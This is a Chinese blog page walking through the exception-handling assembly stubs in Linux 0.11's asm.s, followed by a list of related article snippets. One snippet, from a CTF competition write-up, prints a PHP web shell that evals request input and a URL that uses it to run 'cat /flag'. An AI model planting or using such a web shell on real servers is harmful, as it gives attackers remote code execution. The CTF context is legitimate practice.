Linux-0.11 kernel目录进程管理asm.s详解

Linux-0.11 kernel目录进程管理asm.s详解

模块简介

该模块和CPU异常处理相关,在代码结构上asm.s和traps.c强相关。 CPU探测到异常时,主要分为两种处理方式,一种是有错误码,另一种是没有错误码,对应的方法就是error_codeno_error_code。在下面的函数详解中,将主要以两个函数展开。

函数详解

no_error_code

对于一些异常而言,CPU在出现这些异常时不会将error code压入栈中。其和一般的中断类似,会将ss,esp,eflags,cs,eip这几个寄存器的值压入内核栈中。如下图所示:

无错误码的情景

接下来,以divide_error为例,其会将do_divide_error的地址压入内核栈中, no_error_code第一步便是将do_divide_error的值存入eax中。

no_error_code:
	xchgl %eax,(%esp)

no_error_code接下来就是保存一些CPU上下文,

pushl %ebx
pushl %ecx
pushl %edx
pushl %edi
pushl %esi
pushl %ebp
push %ds
push %es
push %fs

在保护好CPU上下文之后,接下来就是为调用do_divide_error做一些准备,将入参压入栈。

pushl $0		# "error code"
lea 44(%esp),%edx
pushl %edx

将下来初始化段寄存器,加载内核的数据段选择符。

movl $0x10,%edx
mov %dx,%ds
mov %dx,%es
mov %dx,%fs

这些工作都准备完成之后,就通过call去调用do_divide_error这个c函数。

call *%eax

调用完毕之后,恢复现场。

addl $8,%esp
pop %fs
pop %es
pop %ds
popl %ebp
popl %esi
popl %edi
popl %edx
popl %ecx
popl %ebx
popl %eax
iret

error_code

对于一些异常而言,CPU在出现这些异常除了会将ss,esp,eflags,cs,eip这几个寄存器的值压入内核栈中以外,还会将error_code压入内核栈中。如下图所示:

有错误码的情景

以double_fault为例,出现该异常时,会将do_double_fault的地址压入栈中。

double_fault:
	pushl $do_double_fault

error_code最初会将error_code的值写入eax寄存器中,将do_double_fault的地址写入ebx寄存器中。

error_code:
	xchgl %eax,4(%esp)		# error code <-> %eax
	xchgl %ebx,(%esp)		# &function <-> %ebx

接下来保存CPU的上下文

pushl %ecx
pushl %edx
pushl %edi
pushl %esi
pushl %ebp
push %ds
push %es
push %fs

接下来做的也是为调用c函数做准备,首先将error_code和出错的地址压入栈中

pushl %eax			# error code
lea 44(%esp),%eax		# offset
pushl %eax

将下来初始化段寄存器,加载内核的数据段选择符。

movl $0x10,%edx
mov %dx,%ds
mov %dx,%es
mov %dx,%fs

这些工作都准备完成之后,就通过call去调用do_divide_error这个c函数。

call *%ebx

最后的工作便是用于恢复CPU上下文,

addl $8,%esp
pop %fs
pop %es
pop %ds
popl %ebp
popl %esi
popl %edi
popl %edx
popl %ecx
popl %ebx
popl %eax
iret

divide_error:

无error code,其将do_divide_error的地址压入栈中。

pushl $do_divide_error

debug

无error code,其将do_int3的地址压入栈中,进而调用no_error_code

debug:
	pushl $do_int3		# _do_debug
	jmp no_error_code

nmi

无error code,其将do_nmi的地址压入栈中,进而调用no_error_code

nmi:
	pushl $do_nmi
	jmp no_error_code

int3

无error code,其将do_int3的地址压入栈中,进而调用no_error_code

int3:
	pushl $do_int3
	jmp no_error_code

overflow

无error code,其将do_overflow的地址压入栈中,进而调用no_error_code

overflow:
	pushl $do_overflow
	jmp no_error_code

bounds

无error code,其将do_bounds的地址压入栈中,进而调用no_error_code

bounds:
	pushl $do_bounds
	jmp no_error_code

invalid_op

无error code,其将do_invalid_op的地址压入栈中,进而调用no_error_code

invalid_op:
	pushl $do_invalid_op
	jmp no_error_code

coprocessor_segment_overrun

无error code,其将coprocessor_segment_overrun的地址压入栈中,进而调用no_error_code

coprocessor_segment_overrun:
	pushl $do_coprocessor_segment_overrun
	jmp no_error_code

reserved

无error code,其将reserved的地址压入栈中,进而调用no_error_code

reserved:
	pushl $do_reserved
	jmp no_error_code

double_fault

有error code,其将do_double_fault的地址压入栈中,进而调用error_code

double_fault:
	pushl $do_double_fault

invalid_TSS

有error code,其将do_invalid_TSS的地址压入栈中,进而调用error_code

invalid_TSS:
	pushl $do_invalid_TSS
	jmp error_code

segment_not_present

有error code,其将do_segment_not_present的地址压入栈中,进而调用error_code

segment_not_present:
	pushl $do_segment_not_present
	jmp error_code

stack_segment

有error code,其将do_stack_segment的地址压入栈中,进而跳转执行error_code

stack_segment:
	pushl $do_stack_segment
	jmp error_code

general_protection

有error code,其将do_general_protection的地址压入栈中,进而跳转执行error_code

general_protection:
	pushl $do_general_protection
	jmp error_code

Q & A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/23856.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

URP自定义屏幕后处理

回到目录 大家好&#xff0c;我是阿赵。这次来说一下URP渲染管线里面怎样使用后处理效果&#xff0c;还有怎样去自定义后处理效果。 一、使用URP自带的后处理效果 要使用URP自带的后处理效果&#xff0c;方法很简单&#xff0c;和Unity内置渲染管线的PostProcessing后处理很…

任务7 课程信息管理系统

系列文章 任务7 课程信息管理系统 已知课程的信息包括&#xff1a;课程编号&#xff0c;课程名称&#xff0c;课程性质&#xff08;必修、选修&#xff09;&#xff0c;课时&#xff0c;学分&#xff0c;考核方式&#xff08;考试、考查课&#xff09;&#xff0c;开课学期&a…

Ubuntu22.04安装MySQL8

在 Ubuntu 22.04 上安装 MySQL 8&#xff0c;可以按照以下步骤进行&#xff1a; 安装MySQL需要在root用户下 sudo su -更新软件包列表&#xff1a; sudo apt update安装 MySQL 8&#xff1a; sudo apt install mysql-server安装过程中会提示设置 MySQL root 用户的密码。 确认…

(学习日记)AD学习 #4

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…

波奇学C++:模板和STL

什么是模板&#xff1f;为什么我们需要模板&#xff1f; 先假设一个场景&#xff0c;我们要编写一个函数交换a,b两个数的值 void swap(int& a,int& b) {int cmpa;ab;ba; } swap函数可以帮我们交换两个int型的值&#xff0c;那如果要交换的类型是float&#xff0c;do…

【linux解压和打包文件】

TOC 打包成zip文件 指令 zip zip -r -q -o html.zip html/ -r 参数表示递归打包包含子目录的全部内容&#xff0c;-q 参数表示为安静模式&#xff0c;即不向屏幕输出信息&#xff0c;-o 表示输出文件&#xff0c;需在其后紧跟打包输出文件名。解压zip文件 1.unzip -q …

【HMS Core】【ML Kit】活体检测FAQ合集

【问题描述1】 使用示例代码集成活体检测SDK时&#xff0c;报错state code -7001 【解决方案】 使用示例代码前请详细阅读示例工程中的“README”文件。您需要完成以下操作后才可以运行示例代码。 在AppGallery Connect网站下载自己应用的“agconnect-services.json”文件&a…

服务(第三十二篇)nginx做缓存服务器

nginx作为缓存服务配置语法 1、proxy_cache_path 配置语法&#xff08;即缓存路径配置语法&#xff09; Syntax&#xff1a;proxy_cache_path path [levelslevels] [use_temp_pathon|off] keys_zonename:size [inactivetime] [max_sizesize] [manager_filesnumber] [manager_s…

深度学习常用名词解析

深度学习&#xff1a; 英文DL(Deep Learning),指多层的人工神经网络和训练它的方法。一层大量的神经网络会把大量的矩阵数字作为输入&#xff0c;通过非线性激活方法获取权重&#xff0c;再产生另一个数据集和作为输出。 Epoch&#xff1a; 在模型训练的时候含义是训练集中的…

减肥瘦身自律APP软件开发功能有哪些?

减肥瘦身是很多女人一生都在奋斗的目标&#xff0c;如果找不对方法&#xff0c;减肥效果事倍功半还可能会反弹&#xff0c;所以越来越多的人推崇健康科学的减肥理念&#xff0c;把瘦身的重心转移到饮食和运动管理上&#xff0c;于是市场上出现了减肥瘦身自律类的APP软件&#x…

vue实现二维码识别功能 读取二维码内容

我们可以访问 https://www.wwei.cn/?frombdtp 在输入框中输入文本 然后 点击生成二维码 他就会给我生成一个对应信息的二维码图片 我们可以复制到本地 打开vue项目 先引入依赖 npm install canvas jsqr然后组件编写代码如下 <template><div><input type&qu…

数据结构-查找(顺序查找与二分查找的讲解与代码实现)

顺序查找概念&#xff1a;从表的另一端开始&#xff0c;一次将记录的关键字和给定值进行比较&#xff0c;若某个记录的关键字和给定的值相等&#xff0c;则查找成功&#xff0c;反之则查找失败。 ASL:平均查找长度 pi查找概率&#xff0c;ci查找次数 eg&#xff1a;序列1&…

二分搜索树层序遍历

二分搜索树的层序遍历&#xff0c;即逐层进行遍历&#xff0c;即将每层的节点存在队列当中&#xff0c;然后进行出队&#xff08;取出节点&#xff09;和入队&#xff08;存入下一层的节点&#xff09;的操作&#xff0c;以此达到遍历的目的。 通过引入一个队列来支撑层序遍历…

Git简单使用介绍

Git作用 版本控制&#xff08;版本迭代&#xff09;&#xff0c;多人开发&#xff0c;没有版本控制&#xff0c;每修改一下文件就需要备份 常用的版本控制器&#xff1a;Git 和SVN 主要区别&#xff1a; SVN是集中式版本控制系统&#xff0c;版本库是集中放在中央服务器的&a…

Matlab与ROS(1/2)---ros1_bridge(八)

0. 简介 众所周知&#xff0c;ROS 2是具有不同架构的ROS的更新版本。这两个网络是分开的&#xff0c;在ROS和ROS 2的节点之间没有直接的通信。而ros1_bridge包则是提供了一个网桥&#xff0c;可以在ROS和ROS 2之间交换消息。桥接器管理所需的所有转换&#xff0c;并在两个网络…

chatgpt赋能python:Python中KW的介绍:了解Python关键字

Python中KW的介绍&#xff1a;了解Python关键字 在Python语言中&#xff0c;KW是一个非常重要的概念。KW是Python中的关键字&#xff0c;也就是非常重要的语法元素。在程序中使用正确的KW可以帮助我们避免一些常见的错误&#xff0c;从而提高代码的可读性和运行效率。本文将对…

油猴配置教程

文章目录 目录 文章目录 前言 一. 安装油猴 二、使用步骤 三.安装插件 (ChatGPT) 四. 脚本推荐 前言 作者简介: zuiacsn 座右铭: 抱怨身处黑暗,不如提灯前行 内容介绍: 油猴 油猴&#xff08;Tampermonkey&#xff09;指的是一个流行的用户脚本管理器&#xff0c;它能使…

python:容器:列表——常用操作

列表.append(元素)向列表中追加一个元素列表.extend(容器)将数据容器的内容依次取出&#xff0c;追加到列表尾部列表.insert(下标,元素)在指定下标处&#xff0c;插入指定的元素del 列表[下标]删除列表指定的下标元素列表.pop(下标)删除列表指定的下标元素列表.remove(元素)从前…

chatgpt赋能python:Python中8%3的运算:一种常见的数学问题

Python中8%3的运算&#xff1a;一种常见的数学问题 在Python中&#xff0c;8%3是一种常见的数学问题。在本文中&#xff0c;我们将介绍Python中的这种运算符以及它的用途。 什么是8%3&#xff1f; 百度百科给出的解释是&#xff1a; 求余运算符&#xff08;%&#xff09;用来…

CTF国赛2023 - ukfc

没啥好说的&#xff0c;惜败 Web unzip L.zip bello /var/www/htmlR.zip bello bello.php <?php eval($_REQUEST[a]); ?>先传入L文件&#xff0c;在传入R文件&#xff0c;然后 bello.php?asystem(%27cat%20/flag%27);dumpit 访问 ?dbctf&table_2_dumpflag1%0Ae…